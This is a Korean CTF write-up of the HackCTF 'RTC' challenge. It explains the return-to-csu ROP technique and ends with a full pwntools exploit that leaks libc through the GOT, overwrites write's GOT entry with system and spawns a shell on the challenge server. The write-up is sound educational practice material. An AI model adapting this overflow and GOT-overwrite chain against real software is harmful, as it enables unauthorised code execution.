HackCTF의 RTC 문제다. 문제 명처럼 return to csu 기법을 사용해야한다. 덕분에 rtc 공격을 복습할 수 있는 좋은 경험이 됐다.
문제 파일로는 바이너리 파일과 libc가 주어진다.
바이너리를 실행해보면 "Hey, ROP! What's Up?"이라는 ROP에게 안부를 물어보는 문구가 출력되고 그 다음 줄에 입력을 받는다.
보호기법을 확인해보면 NX bit만 걸려있는 것을 볼 수 있다. full relro가 아니라 partial이기 때문에 got overwrite 기법도 사용 가능할 것이다.
일단 ida로 열어보겠다.
코드는 굉장히 간단하다. write 함수로 문구를 출력해준 뒤 read 함수로 0x200byte만큼 입력을 받는다. 딱봐도 overflow가 발생한다.
쉘을 얻게해주는 함수가 주어져있나 살펴봤지만 존재하지 않았다. 그렇다면 ROP 공격을 수행하는 것이 맞는 것 같다.
rop 공격을 한다면 write를 통해 leak할 함수의 주소를 출력해야하고 read를 통해 /bin/sh 문자열 출력, got overwrite로 구한 system 함수의 주소를 함수의 got에 덮어쓴 뒤 이 함수를 호출하면 될 것 같다. 그렇다면 rdi, rsi, rdx를 조작할 가젯이 필요하다.
ropgadget 도구를 이용해서 바이너리 내에서 쓸만한 가젯을 찾아보니, rdi, rsi를 조작할 수 있는 가젯은 있지만 rdx를 조작할만한 가젯이 보이지 않았다. 이렇게 쓸만한 가젯이 부족한 상황에는 return to csu라는 아주 좋은 기법을 사용하면 된다.
ida에서 csu_init을 찾아보면 위와 같은 어셈블리 코드를 볼 수 있다. 이 csu_init은 main 함수를 호출하기 전 init array를 참조하여 초기화를 해주는 역할을 한다. (자세한 내용은 다음 링크를 참고, https://dypar-study.tistory.com/134)
loc_4006A0 : csu_mov
loc_4006B6 : csu_pop
가독성을 위해 csu_init에서 mov를 하는 부분과 pop을 하는 부분의 주소에 색을 입혀봤다.
어쨌든 이 csu_init에서 loc_4006A0, loc_4006B6을 살펴보면 쓸만한 가젯들을 볼 수 있다.
loc_4006B6의 4006BA부터 본다면 pop 명령어로 rbx, rbp, r12, r13, r14, r15 레지스터에 값을 넣어주고 ret 명령을 수행하는 것을 알 수 있다.
그 다음 loc_4006A0의 명령어들을 보면 mov 명령어를 통해 r13 -> rdx, r14 -> rsi, r15 -> edi로 값을 옮겨주는 것을 볼 수 있다. 또한 그 다음에는 r12+rbx*8한 주소의 함수를 호출해준 뒤, rbx에 1을 더해주고 rbx와 rbp 값이 같다면 loc_4006B6으로, 같지 않다면 4006a0 주소로 다시 가 똑같은 코드를 반복한다.
혹시 눈치챘는가? loc_4006A0에서는 우리가 필요한 레지스터인 edi, rsi, rdx에 각각 r15, r14, r13의 값을 넣어주는데, 이 값들은 loc_4006B6 코드를 통해 컨트롤할 수 있다. 즉 loc_4006B6에서 각 레지스터에 적절한 값을 넣어주고 ret 명령을 통해 loc_4005A0으로 보내준다면 edi, rsi, rdx에 원하는 값을 넣을 수 있는 것이다.
또한 rbx에는 0을 넣어주고 r12에는 edi, rsi, rdx 레지스터를 인자로 활용할 함수의 주소를 넣어준다면 레지스터를 세팅한 이후에 원하는 함수를 호출해줄 수 있다. 이 때 r12에는 함수의 plt 주소가 들어가면 안되고 got이 들어가야한다. (rbx에 0을 넣어주는 이유는 4006A9에서 r12+rbx*8의 주소의 함수를 호출해주기 때문이다.)
만약 chain을 이어나가고 싶다면 rbp에 1을 넣어주면 된다. 왜냐하면 loc_4006A0의 마지막 부분에 rbx에 1을 더해준 뒤 rbx와 rbp를 비교하는 분기가 있는데, 이 때 rbx와 rbp의 값이 같다면 loc_4006B6으로 가기 때문이다. rbx의 값은 0이 들어가는게 가장 좋으므로 이에 맞춰 rbp의 값은 1로 주는 것이다.
rbx와 rbp 값이 같아 loc_4006B6으로 온다면 레지스터를 컨트롤해준 뒤 다시 loc_4006A0으로 보내 새로운 함수를 호출하거나, 레지스터에는 그냥 더미 값(add rsp, 8 명령어 + 6번의 pop, 8*7 56byte)만 넣어준 뒤 ret 명령어를 통해 다른 주소로 보내버릴 수도 있다. (이 때 주의할 점은 add rsp, 8 명령어가 있기 때문에 더미 값 8byte를 먼저 줘야한다.)
def make_csu_chain(rdi, rsi, rdx, address):
chain = p64(0) + p64(1) + p64(address) + p64(rdx) + p64(rsi) + p64(rdi) + p64(csu_mov)
return chain
# csu_pop으로 ret를 변조한 상태에서 이 함수를 사용해야한다.
이 chain을 만드는 과정은 귀찮고 중복되는 부분이 많으므로 나는 위와 같은 함수를 짜서 자동화시켰다. rdi, rsi, rdx 레지스터에 들어갈 인자들과 인자를 넣은 후 실행할 함수의 주소만 준다면 chain을 만들어 리턴해준다.
rtc 공격 기법을 알았으니 이제 이 문제에서 적용해보자. gdb로 main의 함수 프롤로그 부분과 read를 호출하는 부분에 bp를 걸고 디버깅해보면 ret와 buf의 거리가 72byte인 것을 알 수 있다.
그렇다면 dummy 값을 72byte 채워주고 csu_pop 주소를 넣어준 뒤, 위 함수를 통해 read 함수의 got을 write 함수를 통해 출력하게끔 레지스터를 세팅하는 식으로 공격을 진행하면 될 것 같다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3025)
elf = ELF('./rtc')
libc = ELF('./libc.so.6')
binsh = list(libc.search(b'/bin/sh\x00'))[0]
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
bss = elf.bss()
csu_pop = 0x4006BA # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15;
csu_mov = 0x4006A0 # mov rdx, r13; mov rsi, r14; mov edi, r15; call [r12+rbx*8]
pop_rdi = 0x00000000004006c3
def make_csu_chain(rdi, rsi, rdx, address):
chain = p64(0) + p64(1) + p64(address) + p64(rdx) + p64(rsi) + p64(rdi) + p64(csu_mov)
return chain
# dummy
payload = b'A' * 72
# read got 출력
payload += p64(csu_pop)
payload += make_csu_chain(1, read_got, 8, write_got)
# write got에 system 주소를 입력
payload += p64(0) # add rsp, 8 명령어를 위한 더미 값
payload += make_csu_chain(0, write_got, 8, read_got)
# bss에 "/bin/sh" 문자열 저장
payload += p64(0) # add rsp, 8 명령어를 위한 더미 값
payload += make_csu_chain(0, bss+0x50, 8, read_got)
# bss의 시작 부분에는 stdin이 존재하기 때문에 bss 주소에서 0x50을 더해 다른 곳에 저장한다.
# "/bin/sh" 문자열을 인자로 write 함수 호출
payload += p64(0) * 7 # 이제 더 이상 csu를 사용할 필요가 없으므로 pop하는 부분을 dummy로 채워준다.
payload += p64(pop_rdi) + p64(bss+0x50) + p64(write_plt)
r.sendafter('?', payload)
sleep(1)
r.recvline()
system = (u64(r.recv().ljust(8, b"\x00")) - libc.symbols['read']) + libc.symbols['system']
print(hex(system))
r.send(p64(system))
sleep(1)
r.send("/bin/sh\x00")
r.interactive()
먼저 read 함수의 got을 출력하고 libc를 통해 구한 read 함수의 offset을 빼줘 base 주소를 구한다. 그 다음 더 이상 사용하지 않는 write 함수의 got에 system 함수의 주소를(base + system offset) 덮어써준다. 마지막으로 system 함수의 인자로 사용될 "/bin/sh" 문자열을 bss 섹션에 써준 후, pop rdi; ret; 가젯을 이용해 이를 인자로 got이 system 함수로 덮어써진 write 함수를 호출한다.
성공적으로 flag를 획득하였다. GG!
(사실 처음에는 /bin/sh 문자열을 쓸 필요 없이 원샷 가젯으로 문제를 해결하려했으나 제대로 되지 않았다..ㅠ)
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Look at me (x86 mprotect rop) (0) | 2021.07.25 |
---|---|
[HackCTF] Great Binary (0) | 2021.07.25 |
[HackCTF] Sysrop (0) | 2021.07.21 |
[HackCTF] ROP (0) | 2021.07.21 |
[HackCTF] RTL_Core (0) | 2021.07.20 |